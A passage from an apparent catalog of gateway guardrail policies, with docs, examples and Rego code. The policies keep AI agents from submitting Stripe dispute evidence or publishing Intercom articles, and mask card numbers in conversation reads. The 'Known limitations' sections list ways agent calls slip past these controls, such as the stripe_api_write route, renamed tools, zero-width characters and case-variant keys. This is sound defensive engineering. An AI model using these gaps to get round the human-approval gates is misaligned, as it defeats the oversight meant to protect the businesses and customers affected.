reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Human-Only Stripe Dispute Submission URL: https://www.intentbasedpolicy.com/policies/stripe/require-human-approval-dispute-submit App(s): stripe | Direction: ingress | Bundles: sox | Package: stripe.ingress.require_human_approval_dispute_submit | Published: 2026-07-12 | Tags: stripe, require-human-approval, disputes, separation-of-duties, transform, ingress, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/require-human-approval-dispute-submit/policy.md # stripe / require-human-approval-dispute-submit **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `stripe.ingress.require_human_approval_dispute_submit` ## What it does Strips the irreversible `submit` flag from Stripe `*update_dispute` tool calls. Filing dispute evidence with the card network is **one-shot**: once `update_dispute` is called with `submit: true`, the evidence is submitted and cannot be amended or resubmitted. This policy keeps that consummating step off the agent path while leaving the drafting step fully functional — the initiate-vs-approve separation. Concretely: when an `*update_dispute` call carries a `submit` key in its arguments, the policy emits a transform that removes the key and passes the rest of the call (the `dispute` ID and the `evidence` draft — `cancellation_policy_disclosure`, `duplicate_charge_explanation`, `uncategorized_text`) through unchanged. The agent's evidence draft lands on the dispute; a human then reviews and submits it in the Stripe dashboard, where the submitting person is recorded. Calls without a `submit` key, and every other tool, pass through untouched with no transform. There is **no identity-group exemption**: evidence filing is human-gated for every caller, including privileged users, because the point of the gate is that the irreversible decision is taken by a person, not by whichever service identity the agent happens to run as. ## Compliance alignment - **SOC 2 CC6.3** — supports role-based access with separation of duties on the agent path: the actor that drafts dispute evidence cannot also be the actor that files it with the card network over MCP. - **SOX SoD (COSO Principle 10)** — supports the initiate-vs-approve separation on a financially consequential transaction: the agent initiates (drafts evidence), a human approves (submits in the dashboard). - **SOX 13a-15(f)(2)(ii)** — supports transaction authorization by keeping the authorizing action (irreversible submission of dispute evidence, which determines whether disputed funds are recovered) off the automated actor. - **SOX / PCAOB AI human-in-the-loop** — supports a draft-only agent posture for dispute consummation, consistent with human-oversight expectations for AI acting on financial records. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name as `-` (e.g. `stripe-mcp-update_dispute`), and that prefix is not standardized across deployments. The policy therefore matches case-insensitively on `lower(input.resource.name)` by **suffix** (`endswith`), against one verified name: - `*update_dispute` — the legacy per-resource tool from `@stripe/mcp` v0.8.x / the Claude Desktop `.dxt` manifest (verified from the `stripe/ai` repo history). Its argument shape is `{ dispute, evidence?: { cancellation_policy_disclosure?, duplicate_charge_explanation?, uncategorized_text? }, submit?: boolean }`. Suffix matching is deliberately broad for a control gate: a hypothetical `bulk_update_dispute`, or an aggregator slug like `STRIPE_UPDATE_DISPUTE` (unverified — Composio-style naming), also ends with the suffix and is also transformed, which is the intended fail-safe direction. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The policy reads `input.payload.args` via `object.get` at every step, so a missing `payload`, missing `args`, or missing `submit` key simply means the transform never fires and the call passes through — there is nothing to strip, and a transform-only policy has nothing to deny. The transform fires on **presence of the `submit` key, not on `submit == true`**. Stripe's form-encoded API treats string encodings like `"true"` as truthy, so matching only the boolean would leave an encoding bypass; and removing an explicit `submit: false` is a semantic no-op (`false` is Stripe's default). Stripping on presence closes the bypass without changing behavior for compliant callers. When it fires, the transform emits `transformed_payload` = `object.remove(args, ["submit"])` — the original arguments minus the flag, with the `dispute` ID and the entire `evidence` object preserved verbatim. ## Examples ### Allowed untouched — drafting evidence without submitting ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-update_dispute", "type": "tool" }, "payload": { "name": "stripe-mcp-update_dispute", "args": { "dispute": "dp_1OABCD2eZvKYlo2C", "evidence": { "duplicate_charge_explanation": "Two distinct orders; receipts attached." } } } } } ``` `allow = true`, no transform — the draft reaches Stripe as sent. ### Transformed — submit flag stripped ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-update_dispute", "type": "tool" }, "payload": { "name": "stripe-mcp-update_dispute", "args": { "dispute": "dp_1OABCD2eZvKYlo2C", "evidence": { "uncategorized_text": "Customer signed the cancellation policy on 2026-05-02." }, "submit": true } } } } ``` `allow = true`, `transform.transformed_payload = { "dispute": "dp_1OABCD2eZvKYlo2C", "evidence": { ... } }` — the evidence draft is saved, the filing is not; a human submits from the Stripe dashboard. ## Composition This policy is single-purpose — it removes only the dispute-submission consummation step. Pair it with: - An **API-write allowlist / escape-hatch policy on `*stripe_api_write`** — the current official Stripe MCP server routes *all* writes through the `stripe_api_write` meta-tool, including dispute updates. A dispute submission made through that tool never matches `*update_dispute`, so this transform cannot see it (see Known limitations). Denying or endpoint-allowlisting `stripe_api_write` is what closes that route. - A **default-deny-unknown-tools allowlist (PF-28)** — catches renamed or aggregator-specific dispute tools this suffix match cannot anticipate. - A **refund-cap policy on `*create_refund`** — the other irreversible money-out surface in the legacy Stripe tool set. - **Stripe Restricted API Key (RAK) scoping** — layer, don't substitute: a key without dispute-write permission is the control that also covers non-MCP access. ## Known limitations - **The `stripe_api_write` escape hatch is invisible here.** On the current official server (mcp.stripe.com and the v0.9+ `@stripe/mcp` proxy), all writes — including `POST /v1/disputes/{id}` with `submit: true` — go through the `stripe_api_write` meta-tool, whose name does not end in `update_dispute`. This policy's verified target is the legacy per-resource `update_dispute` tool (v0.8.x installs, the `.dxt` manifest, and `@stripe/agent-toolkit` embeddings). Deployments on the current server must pair this with an allowlist/deny on `*stripe_api_write` or the gate is decorative. - **Renamed tools slip past.** A `noun_verb` server (e.g. a community server's `dispute_update`) or a trailing-token variant (`update_disputes`, `update_dispute_v2`) does not end with the exact suffix and passes through untouched. Rely on a PF-28 allowlist to fail unknown names closed. - **Suffix breadth (prefix side) is intentional.** Any tool name *ending* in `update_dispute` is transformed, including hypothetical bulk variants. For a human-approval gate this over-inclusion is the safe direction; if a legitimate tool is caught, escalate to your gateway admin. - **`trim_space` normalizes only standard whitespace.** A tool name ending in a zero-width or format character (U+200B, U+FEFF, U+2060) after `update_dispute` does not match the suffix and passes through untouched. Any strip list can itself be evaded, so this is not chased in the Rego; the PF-28 allowlist is the backstop. - **Presence-based stripping also removes `submit: false`.** Semantically a no-op (false is Stripe's default), but the call Stripe receives differs byte-for-byte from the call the agent sent. This is the cost of closing the truthy-string-encoding bypass. - **Treasury preview tools are out of scope.** Stripe's agentic-finance preview tool names are not published; nothing here matches them, and no policy in this store should guess at them. - **MCP path only.** The Stripe dashboard, direct API keys, and webhooks are outside the gateway's reach — which is exactly why the human submits from the dashboard. Pair with RAK scoping for the non-MCP surface. - **No identity-based exemptions — by design.** There is no break-glass group, so there are no placeholder group names to replace at import time. Submission over MCP is stripped for everyone; humans submit in the dashboard where their identity is recorded. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package stripe.ingress.require_human_approval_dispute_submit # Transform-only policy: never denies. When an *update_dispute call carries # the irreversible `submit` flag, the transform strips it so the evidence # draft still lands on the dispute but the one-shot filing with the card # network stays human-actuated (initiate-vs-approve separation). default allow := true # Tool arguments; a missing payload or args resolves to {} so the transform # condition simply never fires on malformed input (nothing to strip). args := object.get(object.get(input, "payload", {}), "args", {}) # Ingress pre-invoke gate. `action` is the PARC field; `kind` is its populated # legacy alias (same value). Accept EITHER: a build that populates only `kind` # (or a PARC revision that drops `action`) would otherwise fail the match and # pass a submit:true call straight through — a fail-open submission of the # one-shot filing. Restricting to pre-invoke also keeps the transform off # egress hooks, whose payload carries `text`, not `args`. is_pre_invoke if object.get(input, "action", "") == "tool_pre_invoke" is_pre_invoke if object.get(input, "kind", "") == "tool_pre_invoke" # Tool name, lowercased and whitespace-trimmed; a missing resource/name # resolves to "" (matches nothing). trim_space closes a suffix-match evasion: # a name with a trailing space/tab/newline would otherwise fail endswith and # carry its submit flag through untouched. tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # The verified legacy per-resource tool `update_dispute`, matched by suffix # for portability across the gateway's `-` prefixing. # Suffix breadth is intentional: any name ending in update_dispute (bulk or # aggregator variants) is also a dispute write and gets the same treatment. is_update_dispute_tool if { endswith(tool_name, "update_dispute") } # Fire on presence of the `submit` key, not on `submit == true`: Stripe's # form-encoded API treats string encodings like "true" as truthy, and # removing an explicit `submit: false` is a semantic no-op (false is the # API default), so presence-matching closes the encoding bypass without # changing behavior for compliant callers. has_submit_key if { "submit" in object.keys(args) } # Strip the submit flag; everything else (dispute ID, evidence draft) passes # through verbatim. The human consummates submission in the Stripe dashboard. transform := {"transformed_payload": object.remove(args, ["submit"])} if { is_pre_invoke is_update_dispute_tool has_submit_key } ``` ### Intercom: Keep Agent Help Center Articles in Draft URL: https://www.intentbasedpolicy.com/policies/intercom/deny-article-publish App(s): intercom | Direction: ingress | Bundles: soc2 | Package: intercom.ingress.deny_article_publish | Published: 2026-07-12 | Tags: intercom, deny-public-exposure, ingress, articles, help-center, publication, governance, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/intercom/deny-article-publish/policy.md # intercom / deny-article-publish **Direction:** ingress (`tool_pre_invoke`) **Default:** deny an explicit publish, allow everything else **Package:** `intercom.ingress.deny_article_publish` ## What it does Keeps agent-authored Intercom Help Center articles in **draft** so a human reviews them before they go live on the public Help Center. On the two Intercom article-write tools — `create_article` and `update_article` — the policy **denies** the call when its arguments set `state == "published"`, unless the caller is a member of a documented content-admin IdP group. Every other article write passes through untouched: a write that omits `state` (Intercom defaults it to `draft`) or explicitly sets `state: "draft"` is allowed, and so is every non-article tool on the Intercom surface (search, fetch, conversation/contact reads, `list_articles`, `get_article`, and so on). This policy owns exactly one surface: the publish flag on article writes. `create_article` with `state: "published"` puts agent-authored HTML on the public Help Center immediately, and `update_article` can silently rewrite — and re-publish — a live public doc. These are the only externally visible, defacement-class actions on the Intercom MCP surface (there are no delete or conversation-send tools), so the publish step belongs behind human review. The check runs at ingress, before the call reaches the Intercom MCP server, so a blocked publish never touches the public Help Center. ## Compliance alignment This policy instantiates the public-exposure-deny family (PF-27, `deny-public-exposure`) on Intercom's article-publication surface: it forces agent-authored public content through a human-review gate rather than letting the agent broadcast it unilaterally. - **SOC 2 CC8.1** — supports change management by preserving the human authorization step for a change to public-facing content. Publishing (or re-publishing via `update_article`) a Help Center article is an agent-initiated change to live, externally visible data; this policy denies the publish transition so the change is authorized and approved by a content-admin before it is implemented, rather than being broadcast unilaterally by the agent. Beyond the SOC 2 bundle, PF-27 also maps to FINRA Rule 2210(b)(1) (principal pre-approval of retail communications) and EU AI Act Art. 50(4) (human-review marker for published AI-generated text) — both **Partial** — neither of which is one of the five framework bundles (`soc2`, `hipaa`, `pci-dss`, `gdpr-ccpa`, `sox`). This Intercom instance therefore ships with the `soc2` framework bundle (per the CC8.1 citation above) plus its thematic tags. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `intercom-create_article` or `mcp-intercom-create_article`), and that prefix is not standardized. The policy matches on the lowercased tool-name **suffix** so it stays portable across server-name conventions, and it tolerates both the snake_case names the official server uses and a kebab-case separator alias in case a community server renames them: - creates: `*create_article`, `*create-article` - updates: `*update_article`, `*update-article` The official Intercom snake_case names (`create_article` / `update_article`) are **verified** against the app landscape note (Intercom developer docs + Speakeasy governance catalog). The kebab-case aliases are a **defensive, unverified** variant — no surveyed Intercom server ships article writes in kebab-case today (only one community server uses kebab-case, and solely for a read tool), but the community naming space diverges, so both separators are matched. Confirm the exact name your gateway sends with the dump-input debug technique before relying on this in production. If a server exposes a differently-named article-publish tool, add its suffix to `article_write_suffixes` in `policy.md`. ## Argument shape Read via `object.get`, so a missing key never crashes the rule: - `state` (`create_article` / `update_article`) — string, `"draft"` or `"published"`. Read defensively with `object.get(input.payload.args, "state", "")` and compared case-insensitively with surrounding whitespace stripped. **A missing or empty `state` is treated as draft (allowed):** Intercom defaults an unset `state` to `draft`, so the deny branch fires **only** on an explicit `state == "published"`. Any value other than `published` (including `draft`) passes through. The policy does not inspect `title`, `body`, `author_id`, `parent_id`, or any other field — publication scope is its only concern. ## Identity / exemption The content-admin exemption reads the caller's IdP-issued `groups` claim via `object.get(object.get(input.subject, "claims", {}), "groups", [])`. It fails **closed**: a caller with no `subject`, no `claims`, or no `content-admins` group is **not** exempt, so an explicit publish is denied. The claim must be a JSON **array** of group strings — a `groups` value shaped as an object or a bare string is ignored (`is_array` guard), so a malformed claim cannot accidentally grant the exemption. Only a caller whose `groups` **array** contains the content-admin group may publish directly. ## Examples ### Denied (agent tries to publish an article to the public Help Center) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-create_article", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["support"] } }, "payload": { "name": "intercom-create_article", "args": { "title": "Refund policy", "author_id": "123", "body": "

...

", "state": "published" } } } } ``` `allow = false`, `reason = "This Intercom write publishes an article to your public Help Center ..."`. ### Denied (agent republishes a live public doc via update) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-update_article", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["support"] } }, "payload": { "name": "intercom-update_article", "args": { "id": "art_42", "body": "

rewritten

", "state": "published" } } } } ``` `allow = false`, same reason. ### Allowed (agent creates or edits an article as a draft) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-create_article", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["support"] } }, "payload": { "name": "intercom-create_article", "args": { "title": "Draft: onboarding", "author_id": "123", "body": "

...

", "state": "draft" } } } } ``` `allow = true`, no reason. A write that omits `state` entirely is likewise allowed (Intercom defaults it to draft). ### Allowed (content-admin publishes directly) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-create_article", "type": "tool" }, "subject": { "sub": "google-apps|kb-lead@acme.com", "claims": { "groups": ["content-admins"] } }, "payload": { "name": "intercom-create_article", "args": { "title": "Launch announcement", "author_id": "9", "body": "

...

", "state": "published" } } } } ``` `allow = true`, no reason (content-admins keep full control). ## Composition Single-purpose by design. Useful companions on the Intercom surface: - An **egress PII/PAN redaction** policy (PF-01 / PF-02) on `*get_conversation`, `*search`, `*fetch`, and `*search_conversations` responses — conversations are raw customer free-text and are the dominant Intercom egress risk. - An **ingress contact-enumeration deny** (PF-08 / PF-23) on `*search_contacts` and `*search` with `object_type: "contacts"` to stop email-domain sweeps of the customer base. ## Known limitations - **Out-of-MCP writes are neither blocked nor visible.** This policy governs only the MCP path. An article created, edited, or published through the Intercom inbox/web UI, the Intercom REST API, or Fin's own actions is outside the gateway's reach — such writes are **not** blocked by this policy and do **not** appear in the DTwo audit pipeline. Treat this as an agent-channel control, not a complete Help Center publication gate. - **Group names are placeholders — replace `content-admins` with your IdP's group name at import time.** The exemption is only as trustworthy as the `groups` claim your IdP issues; if callers can self-assert group membership, remap it to a claim your IdP controls. `is_admin`, `teams`, and the nested `user` claim are stripped before policies see them and must not be used here. Community Intercom servers authenticate with a workspace-level access token and assert no per-user identity, so `subject.claims`-based gating only works when the gateway sits in front of an IdP-authenticated path. - **Publish detection is `state`-only, exact key, string value.** The deny fires on the string `state == "published"` read from the exact, case-sensitive argument key `state`. Three inputs therefore read the empty default and **pass through (allowed)**: (a) the publish flag under a case-variant or renamed key (`State`, `STATE`, or a future boolean `published: true` / separate publish tool); (b) a non-string `state` value (e.g. `true` or `["published"]`), on which the case-fold errors out and the check treats the write as a draft; (c) a missing `state` (see next bullet). None of these is an exploitable publish bypass against the **verified** official Intercom server, whose `create_article`/`update_article` contract takes `state` as a case-sensitive string enum (`"draft"`/`"published"`) — a wrong-case key or non-string value is not a valid publish there either, so such a call lands as a draft on both the policy side and the server side. The residual risk is a **non-conforming connector** that is case-insensitive on argument keys or coerces non-string values to `"published"`; if you deploy one, add the alternate key/value handling to `is_publish`. Regression tests pin the current pass-through behavior for the wrong-case key and non-string value so the decision stays conscious. - **The draft default is an assumption, not verified in the landscape note.** The allow-missing-`state` branch is safe **only if** Intercom defaults an unset `state` to `draft`. That is Intercom's documented Articles-API behavior, but the app landscape note lists `state ("draft"|"published")` without stating the default, so treat this as an **unverified** load-bearing assumption: if the connector you front actually defaults an omitted `state` to `published`, the missing-`state` branch becomes a fail-open publish and you must change it to deny when `state` is absent. Confirm your connector's default with the dump-input debug technique before relying on the allow-missing-`state` behavior. - **Suffix match only, kebab alias unverified.** Only tool names ending in `create_article` / `update_article` (either separator) match. A future tool whose name ends differently (e.g. camelCase `createArticle`, or `publish_article`) is not covered — add its suffix. The kebab-case aliases (`create-article` / `update-article`) are matched defensively but are not verified against any shipping server. - **No content inspection.** This policy governs publication scope (draft vs published), not what the article body contains. Pair it with a body-content policy if agent-authored HTML must also be scanned before a content-admin publishes it. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package intercom.ingress.deny_article_publish # Deny-by-default: only the explicit allow rules below permit a request. Every # tool that is not an Intercom article write passes through; an article write is # denied only when it sets state:"published" and the caller is not in the # content-admin group. All other article writes (missing state, or state:"draft") # are allowed. default allow := false # ----------------------------------------------------------------------------- # TOOL MATCHING. The gateway prefixes tool names with the configured MCP server # name, which is not standardized, so we match on the lowercased suffix to stay # portable. Both write tools are covered, and each is matched in snake_case (the # verified official spelling) and kebab-case (a defensive, unverified separator # alias) so a community server that renames them is still caught. # ----------------------------------------------------------------------------- article_write_suffixes := { "create_article", "create-article", "update_article", "update-article", } tool_name := lower(input.resource.name) is_article_write if { some suffix in article_write_suffixes endswith(tool_name, suffix) } # ----------------------------------------------------------------------------- # CONTENT-ADMIN EXEMPTION. Members of this IdP group may publish articles # directly. Placeholder — remap `content-admins` to your IdP's group name at # import time. Fail closed: a missing subject / claims / groups yields no # exemption, so an explicit publish is denied. # ----------------------------------------------------------------------------- content_admin_group := "content-admins" caller_is_content_admin if { subject := object.get(input, "subject", {}) groups := object.get(object.get(subject, "claims", {}), "groups", []) # Only an array of group strings grants the exemption. Without this guard a # malformed object-shaped claim (e.g. {"x":"content-admins"}) would exempt, # because `some g in ` iterates the object's VALUES — an accidental # fail-open. A bare-string or object `groups` is now ignored (fails closed), # matching the documented "no group → not exempt" contract. is_array(groups) some g in groups lower(g) == content_admin_group } # Tool arguments, null-safe: missing payload or args yields {}. args := object.get(object.get(input, "payload", {}), "args", {}) # The publish flag, read defensively. Intercom defaults an unset state to # "draft", so a missing or empty value is treated as draft (allowed). Compared # case-insensitively with surrounding whitespace stripped so a padded value like # " Published " cannot slip past the check. The deny fires only on an explicit # publish. is_publish if { state := trim_space(lower(object.get(args, "state", ""))) state == "published" } # ----------------------------------------------------------------------------- # ALLOW: everything that isn't an article write, plus article writes that are # not an explicit publish, plus explicit publishes by a content-admin caller. # ----------------------------------------------------------------------------- allow if { not is_article_write } allow if { is_article_write not is_publish } allow if { is_article_write is_publish caller_is_content_admin } # The only deny path: an explicit publish by a non-content-admin caller. reasons contains "This Intercom write publishes an article to your public Help Center (state: \"published\"), putting agent-authored content live and externally visible immediately. Agent-initiated publishing is blocked. Create or update the article as a draft instead (omit state, or set state to \"draft\") and ask a member of the content-admin team to review and publish it. Contact your admin if you believe this is a false positive." if { is_article_write is_publish not caller_is_content_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Intercom: Mask Card Numbers in Conversation Responses URL: https://www.intentbasedpolicy.com/policies/intercom/mask-pan-egress App(s): intercom | Direction: egress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: intercom.egress.mask_pan | Published: 2026-07-12 | Tags: intercom, mask-pan-egress, egress, cardholder-data, dlp, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/intercom/mask-pan-egress/policy.md # intercom / mask-pan-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `intercom.egress.mask_pan` ## What it does Masks payment-card numbers (PANs) in Intercom conversation content returned to agents by the conversation- and free-text-returning read tools. Support chat is a well-known place for customers to paste a full card number into a message, and `get_conversation` returns every conversation part verbatim, so a read of that thread would otherwise place the full PAN into the agent's context. This makes conversation reads the cardholder-data egress path for Intercom. The policy Luhn-validates every 13–19-digit card-shaped sequence in the response (tolerating single spaces or hyphens between digit groups) and rewrites each match to **BIN-plus-last4**: the first six digits (the issuer BIN) and the last four are kept, and every digit in between becomes `*`, e.g. `4111 1111 1111 1111` → `411111******1111`. BIN+last4 is the maximum display format PCI DSS permits for personnel without a business need to see the full PAN. The Luhn check is mandatory here: it keeps false positives (order numbers, ticket IDs, conversation IDs) from being mangled. The policy never blocks a call. When at least one Luhn-valid PAN is found the response content blocks are rewritten via `transformed_payload`; when nothing matches, the transform rule is undefined and the response passes through byte-identical. Callers whose `input.subject.claims.groups` contains the documented placeholder group `pci-full-pan` receive unmasked responses, so fraud and chargeback staff who genuinely need the complete number still see it. The exemption is fail-closed: a caller with no subject, no claims, no `groups` claim, or a malformed `groups` claim is never exempt and always gets masked output. ## Why egress and not ingress Egress transform (default allow) is the right posture: the PAN already lives in Intercom (a customer typed it into the chat), so there is no write to block — the only enforceable action on the MCP path is masking the agent-visible copy of the number as it is read back. Ingress cannot help, because the sensitive data flows *out* of Intercom, not in. ## Tool name matching The policy scopes to conversation-content responses on `input.resource.name`, matched case-insensitively after normalizing `_` to `-` so both underscore (as the official server publishes them) and hyphenated (community `search-conversations`) forms match: - **`*get_conversation`** — the official Intercom MCP server's full-thread read; returns every conversation part body verbatim. The main egress surface. - **`*search_conversations`** (official, snake_case) and **`*search-conversations`** (fabian1710/mcp-intercom, kebab-case) — filtered conversation search whose results carry conversation-part text. - **`*list_conversations`**, **`*search_conversations_by_customer`**, **`*search_tickets_by_customer`**, and **`*search_tickets_by_status`** (raoulbia-ai/mcp-server-for-intercom, the most-listed community server) — conversation and ticket reads that return full customer free-text bodies. Ticket bodies are support-chat content and carry the same paste-a-card-number risk as conversations, so they are in scope. Matched unconditionally like the other typed reads. Two generic connector aliases are handled specially. The official server also exposes the OpenAI/Anthropic-convention `search` and `fetch` tools that *alias* the typed tools (`search` with `object_type: "conversations"`, or `fetch` resolving a `conversation_…`-prefixed ID both return conversation bodies). A policy that matched only `search_conversations` and not these two would be trivially bypassed. Because an **egress** policy sees only the response — not the request's `object_type` / fetch-ID argument — `*search` and `*fetch` are brought into scope only when the response itself carries a conversation marker (a `conversation_`-prefixed ID or a `"type":"conversation"` object), which is the egress-observable proxy for "this was a conversation search / fetch". Contact, company, and article responses from `search`/`fetch` carry no such marker and pass through untouched. Structured PII tools (`get_contact`, `search_contacts`, `get_company`, articles) are deliberately out of scope — card data in a contact profile is a separate concern with a different exemption group; see Composition. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `intercom-mcp-get_conversation`), and that prefix is not standardized — suffix matching keeps the policy portable. The official server's names are verified against Intercom's developer docs and the Speakeasy governance catalog; verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Patterns matched Conservative, anchored PAN shapes only — each pattern is commented in the Rego, and every candidate must also pass the Luhn check before it is masked: - 16-digit PANs grouped 4-4-4-4 with space or dash separators (Visa/Mastercard/Discover print format). - 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN range. - Unseparated 13–19-digit runs (the ISO/IEC 7812 PAN length range). Runs of 20+ digits never match: there is no word boundary inside a digit run, so a longer identifier is never partially masked. ## Compliance alignment - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the agent channel shows at most BIN+last4, with full-PAN visibility limited to a defined role (`pci-full-pan`). - **PCI DSS 3.4.2** — supports preventing copy/relocation of PAN via remote-access technologies: an agent that only ever receives the masked form cannot re-post the full PAN into tickets, other chats, or files. - **PCI DSS 12.5.2 / 12.10.7** — supports PCI scope control and PAN-where-not-expected incident procedures: support chat is a classic not-expected location for cardholder data, and the gateway's decision/transform audit events for this policy give the incident process a concrete trigger to work from. - **CCPA/CPRA §1798.150** — supports reducing nonredacted-PI breach exposure: card numbers surfaced to agents from customer conversations are masked by default. - **SOC 2 CC6.7** — supports restricting the transmission, movement, and removal of confidential information: masking cardholder data in the agent-visible copy of conversation reads keeps the full PAN from leaving the gateway toward the agent. - Also maps to **ISO 27001 A.8.11** (data masking) on the MCP path, if you track that framework. ## Response shape Egress tool output arrives as content blocks in `input.payload.text` (an array; entries are typically strings of plain text, markdown, or serialized JSON). The policy scans each string block, replaces every Luhn-valid match with its own BIN+last4 form, and emits `transform.transformed_payload` with the original payload's `text` replaced by the masked blocks. Non-string blocks pass through unmodified. Because matching is string-level, PANs are masked wherever they appear in a block — part `body` text, search snippets, serialized-JSON conversation objects — without parsing Intercom's specific conversation schema. ## Examples ### Transformed (masked) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "intercom-mcp-get_conversation", "type": "tool" }, "payload": { "name": "intercom-mcp-get_conversation", "text": ["{\"conversation_parts\":[{\"body\":\"my card is 4111 1111 1111 1111\"}]}"] }, "subject": { "sub": "google-apps|casey@acme.com", "claims": { "groups": ["support"] } } } } ``` `allow = true`; the agent sees `{"conversation_parts":[{"body":"my card is 411111******1111"}]}`. ### Allowed unmasked (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "intercom-mcp-get_conversation", "type": "tool" }, "payload": { "name": "intercom-mcp-get_conversation", "text": ["{\"conversation_parts\":[{\"body\":\"my card is 4111 1111 1111 1111\"}]}"] }, "subject": { "sub": "google-apps|fraud-analyst@acme.com", "claims": { "groups": ["pci-full-pan"] } } } } ``` `allow = true`, no transform — the caller is in the `pci-full-pan` group. ### Passthrough (no PAN / not a conversation) A Luhn-invalid digit run (a ticket ID, an order number) produces no transform. A `search`/`fetch` response with no conversation marker (a contact or company result) is out of scope and passes through byte-identical. ## Composition One policy, one job. Useful companions: - A **PII redaction** egress policy (PF-02 `redact-pii-egress`) for SSNs, national IDs, emails, phones, and credentials in conversation and contact responses — broader PII is a separate concern from cardholder data, with a different exemption group. - `apps/intercom/cap-bulk-export` (PF-08) for volume control on `search_contacts` / `search_conversations` — masking does not stop mass harvesting of masked content. - An ingress role-gate (PF-04/PF-12 style) on `get_contact` / `search_contacts` / `fetch` with `contact_`/`company_`-prefixed IDs, so analytics users get conversations but not full customer profiles. ## Known limitations - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most timestamps and IDs, but some non-card identifiers (certain IMEIs and other checksummed numbers) are Luhn-valid and will be masked. The masked form keeps first-six/last-four, so such false positives usually stay recognizable. - **A PAN split across conversation parts is missed.** `get_conversation` returns each part as its own body, and the gateway delivers them as separate content blocks. A single card number typed across two parts (e.g. `4111 1111` in one message and `1111 1111` in the next) leaves no block with 13+ contiguous card digits, so neither block matches and the PAN is not masked. Matching is per-block by design (cross-block concatenation would produce spurious matches from unrelated adjacent numbers). A test case pins this residual. - **Obfuscated PANs are missed.** Card numbers separated by characters other than a single space or dash (dots, unicode spaces, non-digit filler such as `4111.1111.1111.1111` or `4111x1111x1111x1111`), split across lines, spelled out in words, or base64-encoded do not match. Card numbers typed with non-ASCII digits (e.g. Unicode fullwidth `4111 …`) also do not match: the RE2 `\d` class is ASCII-only. Grouped formats other than 4-4-4-4 and Amex 4-6-5 (e.g. 19-digit 4-4-4-4-3 print format) match only in their unseparated form. - **A PAN glued directly to a word character is missed.** Every pattern is `\b`-anchored, and the underscore counts as a word character in RE2, so a digit run immediately preceded or followed by a letter, digit, or underscore with no separator (e.g. `conversation_4111111111111111` inside a serialized-JSON token value) has no word boundary and is not masked. This is the deliberate cost of the same `\b` anchoring that stops a 20+-digit identifier from being partially masked. Punctuation- or whitespace- delimited PANs (the normal human-typed case) are unaffected. - **Generic `search`/`fetch` scoping depends on a conversation marker in the response.** Because egress cannot see the request's `object_type` / fetch ID, `*search` and `*fetch` are masked only when the response contains a `conversation_`-prefixed ID or a `"type":"conversation"` object. The typed `*get_conversation` and `*search_conversations` tools are masked unconditionally, so this affects only the generic aliases: if a server's conversation `search`/`fetch` response omits both markers, those responses are not masked. Verify your server's response shape with the dump-input technique. - **Structured (non-string) content blocks and non-array `text` are not masked — fail-open.** The policy scans and rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A PAN carried inside a content block delivered as a JSON *object* (an MCP typed `{"type":"text","text":"…"}` block), or a `payload.text` delivered as a bare string, passes through unmasked. In the DTwo egress shape observed to date tool output arrives as an array of *string* blocks, and serialized JSON inside a string block **is** scanned and masked; only native object shapes and non-array `text` evade it. Confirm with the dump-input technique that your gateway/server delivers string blocks before relying on this policy against servers that emit typed content objects. - **Only surveyed servers' conversation/ticket reads are in scope.** Scope is the union of the official, fabian1710, and raoulbia read tools that return conversation or ticket bodies. A conversation-returning tool from another (or future) community server whose suffix is not in the list — e.g. evolsb/fast-intercom-mcp's `sync_conversations`, or any renamed upstream tool — is not masked. Add its suffix to `typed_conversation_suffixes` (or, for a generic `search`/`fetch` alias, rely on the response conversation marker). Confirm your gateway's actual tool names with the dump-input technique. - **MCP path only.** The full card number still exists in Intercom and in Intercom's own inbox/web UI; this policy controls what the *agent* sees on the MCP path. Reads made outside MCP (the Intercom inbox, REST API scripts, Fin's own actions) are out of the gateway's reach. - **Group names are placeholders** — replace `pci-full-pan` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` and requires it to be an **array** of strings; every other shape (string, object, number, null, or missing) fails closed to masked output. Confirm your IdP emits a `groups` claim as a string array for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any 